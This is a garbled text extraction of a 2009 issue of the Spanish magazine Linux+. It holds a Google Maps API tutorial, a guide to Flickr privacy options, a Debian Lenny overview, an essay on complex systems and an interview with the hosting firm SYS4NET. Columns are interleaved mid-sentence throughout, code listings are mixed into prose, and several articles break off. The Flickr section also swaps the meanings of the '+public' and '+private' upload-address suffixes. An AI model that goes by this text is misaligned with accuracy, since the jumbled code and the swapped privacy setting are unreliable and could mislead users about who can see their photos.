GEvent.addListener(marker, "dragend", function(overlay,latlng) {
qué significa cada una de las cosas que hemos
var info = "Lat.: " + latlng.lat() + "<br/>Long.: " + latlng.lng();
introducido en el mapa. También puede intere-
marker.openInfoWindowHtml(info);
sarnos superponer el logotipo de nuestra empresa
});
o producto sobre el mapa de Google, o posicio-
nar sobre una dirección dada una foto de nuestro
Listado 9. Creando una línea recta
negocio. Claramente tratamos aquí con dos tipos
function crearRuta(puntos) { de imágenes: por un lado unas que queremos que
// Con esta linea creamos el polyline y permanezcan fijas en una posición y sin sufrir
// cambiamos el color y el ancho modificaciones dependientes del zoom (como
map.addOverlay(new GPolyline(puntos,'#000000','5')); puede ser la leyenda o el logo), y otras que tienen
} que moverse con el mapa ya que están ancladas
var puntos = []; a unas coordenadas determinadas. Veamos cómo
puntos[0] = new GlatLng(40.87, -3.75); podemos definir cada una de ellas.
puntos[1] = new GlatLng(41.21, -2.97);
puntos[2] = new GlatLng(39.82, -3.94); Superposición de imágenes fijas
// Llamamos a la función para que se pinte la ruta El código se basa en cosas que ya hemos visto
crearRuta(puntos); en ejemplos anteriores. Poco a poco vamos
viendo una tónica general en la forma de los
Listado 10. Creando una ruta real constructos de Google Maps (Listado 12):
18 Linux+ 4/2009
gráfica y diseño web
Mapas con el API de Google Maps
www.lpmagazine.org 19
gráfica y diseño web
Mapas con el API de Google Maps
pa o como número de píxeles. En este caso <styleUrl>, que es la que contiene el estilo por lo que las coordenadas están formadas por
hemos usado la medida de fracción (esta definido anteriormente que se va a aplicar (pre- 3 valores: latitud, longitud y altura.
forma de calcular las posiciones también cedido del símbolo '#'); segundo, recordar que Es muy importante saber que la estructura
puede aplicarse al resto de parámetros). ahora nos estamos moviendo en 3 dimesiones, del fichero es bastante fija, y sobre todo que
• Por último, como siempre, añadimos el ob-
jeto leyenda al mapa como una capa más. Listado 12. Superponiendo imágenes fijas
en cualquier punto del mapa, no hay que olvi- new GScreenPoint(0, 0, 'fraction', 'fraction'),
dar que una de las condiciones de uso de la API new GScreenPoint(10, 5),
gratuita de Google Maps es dejar a la vista el new GScreenSize(0.2, 0.2, 'fraction', 'fraction'));
20 Linux+ 4/2009
gráfica y diseño web
Mapas con el API de Google Maps
Sobre la autora
Yaiza Temprado Rodríguez (ytr@moviquity.
com) es Ingeniero Superior en Informática
y actualmente realiza su doctorado en la
Universidad Carlos III de Madrid. Además
de trabajar para Telefónica I+D como ex-
perta en Data Mining, imparte clases de
Aprendizaje Automático en la Universidad
Europea de Madrid. Es además adminis-
tradora de la página www.chicaslinux.org
y su bitácora personal puede encontrarse
en www.losmundosdeyaiza.com
los cambios que hayamos realizado justo antes. <description>Esto seria un marcador</description>
www.lpmagazine.org 21
gráfica y diseño web
Cuida de tu privacidad en Flickr
Privacidad en Flickr
José María Gómez Hidalgo
L
as redes sociales de fotos como Flickr y Picasa En este artículo examinaremos con detalle las opciones de
linux@software.com.pl
son un exponente máximo de esta tendencia, sus privacidad de Flickr, dejando para más adelante las de Picasa.
usuarios se cuentan por decenas de millones, Nuestro objetivo es que hagas uso de las herramientas de priva-
y albergan centenares de millones de fotografías cidad que se te ofrecen en este portal, para que puedas controlar
de lo más variopinto. Pero si uno sube sus fotos a la Web, de manera efectiva quién accede a tus imágenes, y cómo lo hace.
¿quién puede acceder a ellas? ¿Cómo controlarlo?
El futuro de la edición digital ha llegado. A diferencia de Empezando en Flickr
los programas tradicionales de edición fotográfica, que se Flickr permite esencialmente subir y compartir fotografías. Ac-
centran en los aspectos técnicos de corrección y perfeccio- tualmente no dispone de herramientas de edición, a diferencia
namiento de las fotografías, existen cada vez más programas de Picasa y otros portales. Sin embargo, es con diferencia el
y portales que enfatizan su vertiente social: compartir, ver sistema de difusión de fotografías más popular del mundo.
y comentar fotografías propias y ajenas. Los portales más No es el objetivo de este artículo dar una guía detallada
populares en este sentido son Flickr, propiedad actual de de uso de Flickr, pero no está de más sentar algunos conceptos
Yahoo!, y Picasa, de Google. En ellos residen innumerables básicos. Para empezar, necesitamos una cuenta en Flickr. Si
fotografías de usuarios de la Web de todo el mundo. tienes una cuenta en Yahoo!, es casi inmediato crear un usuario
Pero si lo que importa es compartir, ¿no importará tam- con las credenciales de que ya dispones. Si no es así, nuestro
bién con quién? Si se utilizan las opciones de privacidad por consejo es crear una cuenta en Yahoo!, pues tiene numerosos
defecto de Flickr o de Picasa, que promueven lo público, servicios que pueden ser de utilidad.
las fotos estarán a disposición de cualquiera, que las puede
consultar o usar para los fines que prefiera. ¿Te arriesgas Tu perfil
a que una foto de tu novia o de tu hijo aparezca en el lugar Lo primero a controlar es el contenido y la visibilidad del
más inesperado? perfil del usuario que uno crea. Una manera extremadamente
22 Linux+ 4/2009
gráfica y diseño web
Cuida de tu privacidad en Flickr
www.lpmagazine.org 23
gráfica y diseño web
Cuida de tu privacidad en Flickr
Manejando
la privacidad con Organizr
De las herramientas anteriores, el sistema Orga-
nizr es el más potente y flexible, pero necesita
de conexión a Internet permanente, y un ancho
de banda razonable.
En la Figura 2 se muestra una visión gene-
ral de la interfaz de Organizr, con sus tres áreas
principales de trabajo:
24 Linux+ 4/2009
gráfica y diseño web
Cuida de tu privacidad en Flickr
www.lpmagazine.org 25
gráfica y diseño web
Cuida de tu privacidad en Flickr
tiene la opción SafeSearch activada. La opción quetas. La foto no se muestra a las personas que • El personal de Flickr no interviene si un
SafeSearch se rige por lo siguientes parámetros: no son miembros del grupo. administrador abusa de sus privilegios en
Las fotos también pueden agregarse a de- un grupo.
• Si un usuario no está registrado en Flickr, bates y discusiones. Los administradores del
SafeSearch siempre está activado. grupo pueden elegir mostrar u ocultar el mural Antes de hacer a alguien administrador de un
• Si un usuario está registrado y es menor de fotos del grupo y los temas de debate en grupo tuyo, piénsatelo mucho.
de 18 años, puede elegir tener SafeSearch cualquier momento.
activado o moderado. Hay dos tipos de grupos: Licencias de uso
• Si un usuario está registrado y es mayor de Un modo para controlar el uso que alguien
18 años, puede optar entre tener SafeSear- • Los grupos públicos, que figuran en la pá- puede hacer de tus fotos es usar el sistema de
ch activado, desactivado o moderado. gina de los grupos, perfiles y páginas de licencias. Flickr trabaja con el sistema de licen-
fotos si la foto está en un mural de grupo. cias de Creative Commons, que es similar a las
Cuando un usuario está buscando en Flickr Hay dos tipos de grupos públicos: cual- licencias del software libre, pero más orientado
y no está identificado con su usuario, el sistema quiera puede unirse y sólo invitación. a obras artísticas: libros, música, imágenes,
ofrece las opciones para usuarios no registra- • Los grupos privados, que no figuran en etc. Se trata de un sistema que establece varios
dos, por lo que SafeSearch está activado. ningún lugar del sitio de Flickr. Es posible aspectos de uso:
Una advertencia: mucho cuidado con no unirse a ellos sólo con una invitación.
moderar tus contenidos. No solo los editores de • Atribución: Se debe atribuir la obra a su
Flickr los pueden revisar ocasionalmente, sino El control de un grupo está a cargo de los admi- autor original.
que otros usuarios pueden reportar a dichos nistradores del mismo. Un administrador puede • Uso comercial o no comercial de la ima-
editores la existencia de contenidos mal clasi- controlar la información del grupo (nombre, gen.
ficados, lo que puede llevarte a una cancelación descripción, etc.), las opciones de moderación • Derivación de obras nuevas a partir de una
de tu cuenta. (seguridad de filtros y tipos de contenido), obra, o de otro modo, si es posible, generar
y crear reglas de participación. También pue- nuevos trabajos a partir del tuyo.
Los mapas y los grupos de controlar el acceso al contenido y de los • Compartir: En caso de que se comparta, se
Una de las herramientas más usadas por los propios usuarios, incluyendo en particular: pueden forzar una licencia determinada.
usuarios es el geoposicionamiento de las aprobar o eliminar fotos del mural, moderar
fotografías. Lo más frecuente es que los usua- las discusiones del grupo, o eliminar o prohi- En la herramienta Organizr, es posible esta-
rios sitúen en el mapa del mundo el lugar en bir a miembros. blecer una licencia para un lote de objetos,
el que fue tomada la fotografía, y como los Si un usuario crea un grupo, debe tener como se muestra en la Figura 6. La licencia
mapas son bastante precisos, es perfectamente presentes varias cosas: por defecto es Ninguno, es decir, Todos los
factible situar una imagen al pie de la propia derechos reservados. Ello previene que nadie
Torre Eiffel. • Un grupo no se puede eliminar mientras pueda utilizar una fotografía de un usuario, ni
La primera vez que se accede al mapa haya miembros en él. modificarla y publicarla para sus propios fines,
propio con la herramienta Organizr, el sistema • Una vez que uno es administrador de un ya sean comerciales o privados. Se puede esta-
solicita las opciones de acceso al mapa, es de- grupo, no se le puede bajar de categoría, ni blecer la licencia predeterminada para nuevas
cir, quien puede ver tu mapa o la posición geo- eliminar del grupo. cargas en Tu cuenta, en la pestaña Privacidad y
gráfica de tus fotos. Las opciones son las ha-
bituales en los contactos. También es posible
establecer las opciones predeterminadas para
las nuevas cargas de imágenes en Tu cuenta,
en la pestaña Privacidad y permisos, dentro
del área Opciones predeterminadas para las
cargas nuevas, en Quiénes podrán ver tus co-
sas en un mapa.
Los grupos establecen un nuevo nivel de
privacidad a nivel de acceso. Los grupos sirven
para compartir contenidos con usuarios con
intereses similares, y participar en discusiones
y debates. Cada grupo dispone de un mural
en el que sus miembros publican las fotos que
desean. Para compartir una foto con un grupo,
basta seleccionarla y, en el menú contextual que
aparece, pulsar sobre Enviar a grupo, y sele-
ccionar uno en el que figures. Si compartes una
foto que marcaste como privada con un grupo
del que eres miembro, es como si los otros
miembros del grupo tuvieran acceso total a esa
foto. Pueden agregar comentarios, notas y eti- Figura 7. En la interfaz de Flickr Uploadr se observa que las opciones de uso son muy limitadas
26 Linux+ 4/2009
gráfica y diseño web
Cuida de tu privacidad en Flickr
trándolas desde una carpeta de Windows ponen en el cuerpo, en una línea indepen-
Sobre el autor o Mac. diente.
• El área derecha, que establece las opciones
José María Gómez Hidalgo es Doctor en que se aplican a las fotos del área izquier- Para controlar la visibilidad de las fotos, se pue-
Ciencias Matemáticas, ha sido profesor da, y que permite además crear álbumes den anexar algunas claves especiales al nombre
y Director de Sistemas Informáticos en y subir las fotos con el botón Subir fotos de usuario de la dirección para subir fotos, co-
la Universidad Europea de Madrid, y ac- de la parte inferior. En el área derecha es mo las siguientes:
tualmente trabaja en la seguridad de donde se pueden establecer las opciones
contenidos en Optenet. Ha dirigido varios de carga de las fotos, que en términos de • blabla45bla+friends@photos.flickr.com:
proyectos de investigación centrados en visibilidad y privacidad, incluyen que El objeto sólo será visible para los contac-
distintos aspectos de la seguridad infor- usuarios podrán ver las fotografías, el tos marcados como amigos.
mática. Su especialidad es la aplicación nivel de seguridad de las mismas (filtro • blabla45bla+family@photos.flickr.com: El
de técnicas de Inteligencia Artificial a la de seguridad), y si estarán disponibles en objeto sólo será visible para los contactos
seguridad de contenidos, y ha publicado las búsquedas. marcados como familiares.
varios artículos científicos, e impartido • blabla45bla+ff@photos.flickr.com: El ob-
conferencias nacionales e internaciona- Todas estas opciones son idénticas a las de la jeto sólo será visible para amigos y fami-
les sobre el correo basura y el filtrado carga de objetos a través de la web. liares.
Web. Su página web es http://www.esp. • blabla45bla+public@photos.flickr.com: El
uem.es/jmgomez, y su correo electrónico Subiendo objeto sólo será visible para el usuario.
es jmgomezh@yahoo.es fotos por correo • blabla45bla+private@photos.flickr.com:
electrónico El objeto sólo será visible para todos.
permisos, dentro del área Opciones predetermi- También es posible subir fotos por correo elec-
nadas para las cargas nuevas, en Qué licencia trónico. Flickr proporciona con este fin una De esta manera es posible anular las preferen-
tendrá tu contenido. cuenta única de correo a cada usuario, de la cias por defecto, para algunos temas de privaci-
forma blabla45bla@photos.flickr.com. Cuan- dad (aunque no todos, como la búsqueda o los
Un vistazo a Flickr Uploadr do un usuario incluye una foto en un mensaje filtros de seguridad).
Flickr Uploadr es una herramienta ligera y li- y lo envía a su cuenta personal, esta foto sube
mitada que permite hacer algunas tareas bá- a su galería de Flickr. Es preciso tener en Para finalizar
sicas, como rotar las fotos, y que en general cuenta varias cosas: Usar Flickr para compartir fotos con tus cono-
está orientada a subir contenidos a la web de cidos, ponerlas en un blog, etc. es una auténti-
Flickr. Para poder usar esta herramienta, hay • En primer lugar, puede haber un retraso ca delicia. Sin embargo, Flickr no deja de ser
que descargarla de Flickr, y una vez instalada, importante en el tiempo en que las fotos un portal online, por lo que conviene cuidar
configurar la cuenta para que permita subir aparecen en la galería, que puede ir desde los aspectos de privacidad, tanto los propios
fotos desde ella. Esto es muy sencillo, ya que unos minutos a varias horas. Lo normal como los de los objetos que subimos. Hay que
el propio programa abre la página de confi- es que sean unos minutos. preocuparse de quien puede ver y compartir-
guración donde se establece esta opción. La • En segundo lugar, las opciones que se los, quién puede agregar etiquetas o notas a los
herramienta está concebida para su uso online, aplican por defecto a las fotos son las op- mismos, qué licencia tienen de cara a su posible
por lo que las operaciones que se pueden rea- ciones predeterminadas, a no ser que se reutilización, qué nivel de seguridad tienen,
lizar cuando uno está desconectado son muy utilicen características adicionales en el y de si un desconocido puede encontrarlos
limitadas. correo. o no con una simple búsqueda en Flickr. En
En la Figura 7 se muestra la interfaz de • En tercer lugar, conviene mantener esta último caso, si quieres que algo sea totalmente
Flickr Uploadr, que se encuentra dividida en cuenta como privada y desconocida para privado, ni se te ocurra ponerlo en Internet
cuatro partes principales: los demás, por razones obvias. o enviarlo por correo electrónico. O si quieres
hacerlo pese a todo, utiliza técnicas de cifrado.
• La barra de menús en la parte superior. In- Es posible agregar título, etiquetas y descrip- Pero eso es tema para otro artículo...
cluye tres menús, y el único que tiene inte- ciones a las fotos que se suben. Para ello, la
rés es el primero, Subir fotos. Se incluye la estructura del mensaje que se sube es muy
opción de Agregar para incorporar fotos al importante:
En la red
grupo actual, la de Subir fotos, la de Pre-
ferencias, y Salir. Las preferencias sólo se • El asunto o Subject se utiliza como título • (Web) Uploader:
pueden cambiar estando conectado. de la foto. http://www.flickr.com/photos/upload/
• Una barra de menús superior muy simple, • El cuerpo o Body se utiliza como descrip- • Flickr Organizr:
que permite agregar fotos o eliminarlas del ción de la foto. http://www.flickr.com/photos/organize/
lote actual, y rotarlas a derecha o izquierda. • Las etiquetas se pueden poner en el asun- • Flickr Uploadr:
• El área izquierda, que incluye información to o en el cuerpo, precedidas de la palabra http://www.flickr.com/tools/
de si se está conectado o no (Uploadr se co- etiquetas:, separadas por espacios, y den- • Picasa: http://www.picasa.com/
necta automáticamente a Flickr si uno tiene tro de comillas si una etiqueta tiene varias • Creative Commons:
conexión a Internet), y las fotos actuales. palabras (lugares bonitos). Si se ponen en http://www.creativecommons.org/
Se puede agregar fotos al lote actual arras- el asunto, se deben poner al final, y si se
www.lpmagazine.org 27
software
Debian Lenny 5.0
I
an Murdock, un científico de la computación, escri- dependencias de forma automática. Actualmente Ian Murdock
linux@software.com.pl
bió el manifiesto Debian en 1993 mientras estudiaba ya no es el líder del proyecto pero sigue de cerca el desarrollo
en la Purdue University, donde obtuvo su diplomatu- de esta distribución basada en su manifiesto.
ra. En este manifiesto aparecía la idea de desarrollar
una distribución no comercial que sea capaz de competir El proyecto Debian
efectivamente en el mercado comercial. Así fue que esta Debian es el esfuerzo de un grupo de voluntarios alrededor
nueva distribución tomó el nombre de Debian (viene de del mundo, con el objetivo de producir una distribución
los nombres de su creador: Ian Murdock, y de su esposa, de Linux, pero compuesta únicamente por software libre.
Debra). Podemos descargar Debian de Internet con la seguridad de
Debian, en vez de estar desarrollada por un individuo poder usarla, copiarla, estudiarla, modificarla y redistribuir-
o un grupo como se han desarrollado otras distribuciones, la libremente.
fue desarrollada abiertamente en el espíritu de Linux y GNU
a través de Internet, con el propósito de conseguir una distri- Tres ramas del desarrollo de Debian
bución que esté a la altura de cualquier otro sistema comer- El desarrollo de Debian se divide en tres ramas.
cial, logrando un sistema operativo GNU basado en software
libre precompilado y empaquetado en un formato sencillo Versión inestable
para múltiples arquitecturas y en varios núcleos. También conocida como unstable o con su nombre en clave
Su sistema de paquetes Advanced Packaging Tool (APT), SID, es en esta rama en donde se prueban los nuevos paque-
simplificó en gran medida la instalación y eliminación de pro- tes, donde tiene lugar el desarrollo activo de Debian, y es la
gramas en los sistemas GNU/Linux, administrando de forma rama que usan los desarrolladores del proyecto. Los paquetes
eficiente los paquetes .deb, y encargándose eficazmente de en su mayoría corresponden a las últimas versiones, pero es
instalar no solo los programas solicitados sino también sus posible que estos no estén libres de errores.
28 Linux+ 4/2009
software
Debian Lenny 5.0
www.lpmagazine.org 29
software
Debian Lenny 5.0
Sobre el autor
Es analista de Sistemas, docente, radioafi-
cionado (LU5ENP), consultor en informáti-
ca y conductor del programa de radio libre
hispano – Red-Handed Radio (www.red-
handed.com.ar). Si quieres hacerle algún
comentario, escribe a: Leonel@saafiguer
oa.com.ar
En la red
• Página oficial del proyecto:
http://www.debian.org/
• Manifiesto de Debian
en español:
http://www.debian.org/doc/
manuals/project-history/
ap-manifesto.es.html
• Página con información útil sobre
Debian extremo:
http://www.debianrules.com.ar
• Página con información
en español sobre Debian:
http://www.esdebian.com
Figura 4. Entorno gráfico GNOME de Debian Etch
30 Linux+ 4/2009
software
Desarrollo de sistemas complejos
Desarrollo
de sistemas complejos
Lino García Morales
Sistemas complejos hace referencia a un, relativamente nuevo,
campo de la ciencia multidisciplinar que estudia cómo las partes
de un sistema dan lugar a comportamientos globales del sistema
en interacción con su entorno.
U
n ejemplo de un sistema complejo son los Capacidades
linux@software.com.pl
32 Linux+ 4/2009
software
Desarrollo de sistemas complejos
www.lpmagazine.org 33
software
Desarrollo de sistemas complejos
34 Linux+ 4/2009
software
Desarrollo de sistemas complejos
siguen el modelo OSI (Open System Inter- integración del hardware, a muy bajo nivel,
connection) de la ISO (International Stan- con protocolos de comunicación estándar
dard Organization), a mayor o menor nivel, (se trata sólo de un cambio en la capa de más
o propietarios. bajo nivel encargada de la señalización).
En sistemas autónomos (hardware o mix- Se puede conseguir el mayor grado de
tos) la conexión termina en algún estándar de independencia desagregando funcionalmente
nivel físico (USB, RS-232, RS-485, Ethernet, al sistema en múltiples componentes y nor-
etc.) que transforma los datos (información) en malizando los protocolos de comunicación
señales, y garantiza el intercambio de informa- e interacción, al más alto nivel de abstracción:
ción; mientras que los sistemas software utili- el nivel de aplicación del modelo OSI.
zan mecanismos de comunicación normalmen-
te soportados por el sistema operativo o APIs Conclusiones
(Application Programming Interface); que son El mundo es complejo. El esfuerzo por crear
un conjunto de funciones y procedimientos sistemas análogos a los naturales pasa por
(o métodos si se refiere a programación orien- la comprensión de su complejidad y por la
tada a objetos) que ofrece cierta biblioteca para desagregación del sistema complejo en múl-
ser utilizado por otro software como una capa tiples partes. Este enfoque converge hacia la
de abstracción. paralelización, multiproceso, y al aumento de
En cualquier caso, es deseable que la la complejidad global, en general, a cambio
comunicación física entre los procesos sea de ofrecer la posibilidad de uso de técnicas
independiente de la topología de intercone- tradicionales de diseño y desarrollo para
xión (punto a punto, árbol, anillo, bus, ma- los componentes, aumento de la fiabilidad,
lla, etc.) y que, tal interacción, se produzca facilidad de mantenimiento y desarrollo,
a nivel de aplicación. Para ello, pueden modularidad, escalabilidad, etc.
intervenir una enorme cantidad de sub- El abaratamiento de tecnologías de muy
sistemas de comunicación que aumenta la bajo nivel (microcontroladores), en parale-
complejidad del sistema global a nivel de lo al aumento de su potencia de cómputo
comportamiento. e interacción, facilita la creación de sistemas
La conexión por excelencia por sistemas complejos cada vez más autónomos, des-
o dispositivos TIC ha sido durante muchos centralizados e independientes. Ardabasto
años el RS-232C (Electronic Industries (Linux+No. 46, pp: 82-85) es un ejemplo de
Alliance). Aunque es una norma de interfaz ello: abstrae la complejidad del hardware con
diseñada, inicialmente, para el intercambio un lenguaje de medio/alto nivel, y posee co-
serie de datos binarios entre un DTE (Data municación USB e I2C (Inter-Integrated Cir-
Terminal Equipment) y un DCE (Data Com- cuit) de serie; fácilmente expandible, vía co-
munication Equipment), permite conexión municación serie asíncrona a cualquier otro
DTE-DTE. Prácticamente cualquier disposi- estándar de comunicación (inalámbrico, por
tivo con alguna pretensión de independencia ejemplo, como WiFi [norma IEEE 802.11],
incorporaba RS-232C de serie. Sin embargo, o Bluetooth [especificación industrial para Re-
fundamentalmente dada la limitación de su des Inalámbricas de Área Personal, WPANs,
velocidad (no más de 20 Kb/s), con el tiem- para transmisión de voz y datos]). La clave
po ha sido sustituido por el USB (1.0, hasta está en dotarlo de una interfaz o lenguaje es-
1'5 Mbps [192 KB/s], utilizado en su mayor tándar que permita la interacción (basado en
parte por dispositivos de interfaz humana, XML, por ejemplo).
como los teclados, los ratones y los joys- Los sistemas, cuanto más independien-
ticks; 1.1, hasta 12 Mbps [1'5 MB/s], estos tes, son más susceptibles de adaptarse a los
dispositivos dividen el ancho de banda de la cambios, incluso, de la propia tecnología
conexión USB entre ellos, basados en un al- como entorno, de evolucionar coherentemen-
goritmo de búferes FIFO [First In First Out]; te, de reutilizar, de entender y mantener; en
2.0, hasta 480 Mbps [60 MB/s]; 3.0, aún en definitiva, de sobrevivir. Los sistemas com-
fase experimental y con tasa de transferencia plejos, aunque relativamente nuevos, son una
de hasta 4.8 Gbps [600 MB/s]). Observe que paso conceptual más allá del ancestral divide
cualquier PC incorpora varios puertos USB y vencerás que aporta el cómo para entender
y ninguno RS-232C. Sin embargo, cualquier sistemas (análisis) en la unión está la fuerza
puerto de comunicación serie asíncrono no para generar sistemas (síntesis) en sintonía
implementa la capa física del modelo OSI con el mundo que nos rodea, incierto, no li-
(utiliza señalización TTL [Transistor-Tran- neal y caótico, por naturaleza. De eso se trata,
sistor Logic] o CMOS [Complementary Me- de un ir y venir en espiral que converge en lo
tal Oxide Semiconductor]) lo que facilita la desconocido.
www.lpmagazine.org 35
entrevista
Entrevista a SYS4NET
SYS4NET:
Hosting de calidad máxima
SYS4NET es una compañía dedicada a los servicios de alojamiento web y registro
de dominios, con infraestructura propia en España, en la que aloja más de 20.000
páginas web.
LiNUX+: ¿Cómo nació la empresa? nses, ya que en 2002 la conectividad y los cen- reducir los tiempos de actuación, avanzando
SYS4NET: La empresa Grupo SYS4NET tros de datos europeos aun no estaban comple- hacia el objetivo de conseguir un tiempo en
nace a mediados de 2002, como solución a la tamente desarrollados. linea del 100 %.
creciente demanda de alojamiento web e in- Más adelante, y por la propia evolución LiNUX+: ¿Nos podéis presentar algunos
fraestructura de calidad para albergar distintos del sector, la latencia se convertía en parte casos de éxito?
proyectos en la red. importante del servicio. Por esta razón, en SYS4NET: Entre todos nuestros clientes,
Nuestros principales objetivos han sido el año 2005, SYS4NET decidió realizar una podemos destacar sin duda casos de éxito
proporcionar un servicio de calidad, a un precio gran inversión en equipamiento e infraestruc- a nivel mundial, como BuscandoCasa.com,
competitivo, basándonos en la última tecnolo- tura para colocar sus servidores en París, junto el portal inmobiliario más grande de Uruguay.
gía, y siguiendo una innovación constante, lo a un punto neutro de interconexión. Con este Gracias a la experiencia adquirida en los
cual nos permite un tiempo de respuesta exce- cambio se consiguió reducir la latencia hacia más de 7 años de trabajo, SYS4NET se encon-
lente ante cualquier tipo de eventualidad. los servidores, y ofrecer un mejor servicio a los traba en condiciones de analizar y apoyar un
Con una continua inversión en equipa- clientes albergados, sin incrementar el coste de proyecto de gran envergadura.
miento e infraestructura, tanto física como de los planes. Se planteó la necesidad de crear un sistema
red, hemos conseguido alcanzar un tiempo en En el año 2007, internet en España había estable, pero a la vez flexible, que cubriera unas
línea superior al 99,9 %. Esto nos sitúa como evolucionado notablemente desde los inicios de necesidades muy concretas, como disponibili-
una empresa de referencia para proyectos con SYS4NET, y se convirtió en el objetivo para la dad: (la mayor parte de proyectos en internet,
necesidades especificas de alta disponibilidad consolidación de la empresa. BuscandoCasa.com, requería una garantía de
y rendimiento, que necesiten estar respaldadas Una nueva inversión en infraestructura disponibilidad del 100 %), volumen de carga
por un equipo de profesionales. y equipamiento nos permitió reubicar todos (por las características propias del proyecto, se
SYS4NET destaca por su trato cercano con nuestros sistemas en un nuevo centro de da- tuvo que planificar e instalar una infraestruc-
sus clientes, comprendiendo la condición única tos, situado en Valencia. Este cambio redujo, tura preparada para soportar mayor volumen
de cada uno de ellos, y ofreciendo soluciones nuevamente, la latencia hasta los servidores, durante ciertas épocas del año (alquileres en
adaptadas a sus necesidades. y permitió un aumento de velocidad para todos verano, etc.), pero que a la vez debía ser eco-
LiNUX+: ¿Cómo se desarrollo? los clientes. nómicamente viable el resto del año, donde el
SYS4NET: SYS4NET inició su actividad Del mismo modo, por la proximidad geo- volumen de carga disminuye), escalabilidad
confiando en la profesionalidad y experiencia gráfica entre nuestras oficinas centrales y las (del mismo modo, en la planificación del
de la infraestructura y sistemas estadounide- instalaciones del centro de datos, conseguimos proyecto, se tuvieron que tener en cuenta las
36 Linux+ 4/2009
entrevista
Entrevista a SYS4NET
posibilidades de ampliación, de manera que Servidores dedicados: Para proyectos pro- • Registro SPF: SendGuardian.com comprue-
se garantizara un crecimiento sin limitaciones fesionales, que requieren una solución exclu- ba si el mensaje proviene del servidor de
para BuscandoCasa.com, ampliando la infra- siva, orientada de una manera específica. Los correo indicado por el registro SPF del
estructura según los nuevos requisitos, pero sin servidores dedicados ofrecen libertad al usuario dominio, para evitar la suplantación de
afectar al equipamiento ya alojado). para instalar sus propias aplicaciones e integrar dominios.
Gracias a una planificación y servicio efi- sus propios sistemas. • Listas DNSBL: SendGuardian.com utiliza
ciente, BuscandoCasa.com continua creciendo, LiNUX+: ¿Qué es SendGuardian.com? más de 20 listas internacionales de bloqueo
consolidándose, cada vez más, como el portal SYS4NET: ¿Como sería un mundo sin de spam. Puntua los mensajes según la
inmobiliario más importante de Uruguay. Spam, Virus y Phising? Estamos un poco posibilidad de que sean correo no deseado,
LiNUX+: ¿Qué servicios ofrecen? más cerca. Recientemente hemos lanzado el dependiendo de la información facilitada
SYS4NET: En SYS4NET ofrecemos servicio definitivo de protección para correo por las listas DNSBL.
alojamiento web en cualquiera de sus varian- electrónico. • Comprobación URIBL: Recientemente, los
tes, desde lo más básico a nivel usuario parti- SendGuardian.com se sitúa entre internet spammers, han comenzado a codificar los
cular, hasta soluciones de computación distri- y el servidor de correo del usuario, actuando mensajes con el código URI, para evitar
buida para grandes corporaciones. Contamos como barrera que detiene el 99 % de correo ser detectados por los servicios antispam.
con distintos planes y servicios, que cubren no deseado, virus y phising que llegan SendGuardian.com descifra y comprueba
las necesidades de la mayoría de nuestros al usuario. A diferencia de otros servicios, esta codificación, para bloquear cualquier
clientes. SendGuardian.com no requiere instalación mensaje de correo no deseado.
Registro de dominios: Hoy día, para todas de software extra en el servidor de correo • Bloqueo de adjuntos: SendGuardian.com,
las empresas, es imprescindible contar con su o en el equipo personal del usuario, lo que a través de un servicio antivirus, verifica
marca registrada en internet. Desde SYS4NET facilita una rápida y sencilla configuración, los adjuntos de todos los mensajes de co-
ofrecemos el servicio de registro de dominios, sin necesidad de modificar cuentas de correo rreo, en busca de virus.
para las extensiones más comunes (COM, o contraseñas. • Filtros bayesianos: A través de un diccio-
NET, ORG, INFO, ES), ofreciendo un panel Para comenzar a utilizar SendGuardian.com, nario de palabras, generalmente contenidas
de control por cada dominio, donde el clien- solo hay que modificar el registro MX del do- en correo no deseado, SendGuardian.com
te puede modificar cualquier valor (datos de minio. Al ser una barrera colocada entre internet valora y puntúa cada mensaje de correo,
contacto, DNS) y configurar redirecciones web y el servidor de correo final, SendGuardian.com según la probabilidad de que se trate de un
y de correo, siguiendo la máxima de ofrecer al funciona sobre cualquier servidor de correo, mensaje de correo no deseado.
usuario la posibilidad de gestión completa de independientemente de la plataforma, sistema
sus servicios contratados. operativo, o ubicación. SendGuardian.com uti- Uniendo todas las comprobaciones, y en re-
Alojamiento web: Dentro de los servicios liza hasta 10 comprobaciones para detectar correo lación a la puntuación de cada chequeo, Send-
de alojamiento web compartido, podemos eng- no deseado, virus y phising: Guardian.com construye una identificación ex-
lobar al 80 % de los usuarios, con necesidades clusiva para cada mensaje, y decide si se trata
básicas para colocar su página en internet. Des- • Listas blancas: Para que no se pierda nin- de un mensaje legítimo, o de correo no deseado,
de SYS4NET ofrecemos planes de alojamiento gún mensaje, SendGuardian.com no filtra acertando en más del 99 % de los mensajes.
sobre las dos plataformas más extendidas: Win- a los remitentes que considera seguros. LiNUX+: ¿Cuáles son las ventajas para
dows y Linux. De este modo siempre podemos • Listas grises: Porque los spammers no los clientes de su empresa?
garantizar un servicio independientemente de suelen intentar el envío del mismo mensa- SYS4NET: SYS4NET tiene sus equipos
cual sea el lenguaje de programación emplea- je dos veces, SendGuardian.com lo aplaza alojados en uno de los mejores centros de datos
do: PHP, ASP... en el primer intento, y solo lo procesa si se a nivel nacional, que cumple con la normativa
Planes para revendedor: Facilitamos la produce un segundo intento de entrega. TIER IV, lo que garantiza unas condiciones
entrada al mercado a nuevos emprendedores • Validación de HELO: En el protocolo de óptimas de seguridad, conectividad y calidad
dispuestos a comenzar su negocio, con un mí- los servidores de correo, HELO es la forma eléctrica.
nimo de inversión. Los 7 años de experiencia que tienen los sistemas para saludarse, al El centro de datos se encuentra custodiado
en el sector, nos avalan como garantía de un iniciar una conexión. Este HELO contiene las 24 horas del día, los 365 días del año, por
servicio estable y eficaz. Los revendedores se el nombre de host del servidor que intenta personal de seguridad y control de accesos. Del
benefician de un soporte técnico y comercial entregar el mensaje. SendGuardian.com re- mismo modo, existe personal técnico perma-
preferente, para despejar cualquier tipo de chaza mensajes que provengan de IPs diná- nente en el centro de datos, para poder realizar
duda. micas, o proveedores de ADLS, cable para cualquier actuación física necesaria sobre los
Servidores VPS: Por nuestro compromiso hogar, etc. servidores, y encargados de la monitorización
de ofrecer la última tecnología a nuestros • Validación de remitente: SendGuardian. continua de todos los sistemas. Gracias a esto,
clientes, recientemente hemos incorporado com comprueba si la dirección de correo somos capaces de detectar cualquier problema
el servicio de Servidores Privados Virtuales, que intenta entregar el mensaje realmente en los siguientes dos minutos a su aparición,
que permite contar con un sistema operativo existe. y activar el protocolo de resolución asociado.
